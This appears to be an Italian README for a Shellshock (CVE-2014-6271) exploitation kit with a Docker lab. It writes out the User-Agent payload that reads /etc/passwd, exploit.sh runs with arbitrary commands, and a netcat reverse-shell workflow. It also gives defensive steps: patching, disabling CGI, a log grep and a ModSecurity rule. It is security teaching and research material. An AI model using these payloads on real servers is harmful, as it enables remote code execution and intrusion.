
Ricreazione di Shellshock (CVE-2014-6271) - la vulnerabilità bash che ha messo a rischio milioni di server. Kit di sfruttamento automatico + metodologia Burp Suite + laboratorio Docker. Creato per la ricerca e l'educazione sulla sicurezza. Progetto di portfolio per la sicurezza offensiva.
Kit di sfruttamento automatizzato per CVE-2014-6271 (Shellshock)
Un progetto completo di ricerca sulla sicurezza che dimostra la vulnerabilità Shellshock che ha colpito milioni di server nel 2014. Include scansione automatizzata, capacità di sfruttamento e raccomandazioni difensive.
Demo
Shellshock (CVE-2014-6271) è una vulnerabilità critica nella shell Bash che consente l'esecuzione remota di codice attraverso la manipolazione delle variabili d'ambiente. Scoperta nel 2014 dopo essere esistita per 22 anni, ha colpito milioni di sistemi Unix/Linux in tutto il mondo.
Come funziona:
# Normal: Bash exports functions as environment variables
my_function='() { echo "hello"; }'
# The bug: Bash continues parsing after the function definition
exploit='() { :;}; echo "PWNED"' # The second command executes
I server web che utilizzano CGI passano le intestazioni HTTP come variabili d'ambiente a Bash, rendendoli vulnerabili:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'
# Clone and setup
git clone https://github.com/YOUR-USERNAME/bash-apocalypse.git
cd bash-apocalypse
# Start vulnerable lab
docker-compose up -d
# Run exploit
chmod +x exploit.sh
./exploit.sh --url http://localhost:8080/cgi-bin/test.cgi --cmd "whoami"
Scanner Automatico
Strumento di Sfruttamento
Ambiente di Laboratorio
./exploit.sh --scan --target localhost --port 8080
./exploit.sh --url http://target/cgi-bin/test.cgi --cmd "id"
# Terminal 1
nc -lvnp 4444
# Terminal 2
./exploit.sh --url http://target/cgi-bin/test.cgi --reverse-shell YOUR_IP:4444


Modifica l'intestazione User-Agent:
User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

Il server esegue il tuo comando e restituisce l'output.
Client (Attaccante)
│
│ Richiesta HTTP con User-Agent malevolo
▼
Server Web
│
│ Passa l'intestazione come variabile d'ambiente
▼
Script CGI
│
│ Avvia un processo Bash
▼
Shell Bash
│
│ Analizza la funzione + esegue i comandi successivi
▼
Esecuzione di comandi (RCE)
Quando Bash incontra una definizione di funzione in una variabile d'ambiente:
() { :;}# Update Bash
sudo apt-get update && sudo apt-get upgrade bash
# Disable CGI if not needed
sudo a2dismod cgi && sudo systemctl restart apache2
# Check logs for exploitation attempts
grep -E "\\(\\)|\\{.*\\}" /var/log/apache2/access.log
SecRule REQUEST_HEADERS "\\(\\).*\\{" "deny,status:403,msg:'Shellshock Attack'"
bash-apocalypse/
├── README.md
├── exploit.sh # Main tool
├── payloads.txt # Test payloads
├── docker-compose.yml # Lab setup
└── screenshots/
├── intercept.png
├── Payload.png
└── result.png
Solo a scopo educativo. Testa solo sistemi di tua proprietà o per i quali hai esplicita autorizzazione. L'accesso non autorizzato è illegale.
Costruito per capire come funzionano le vulnerabilità e come difendersi da esse. ;)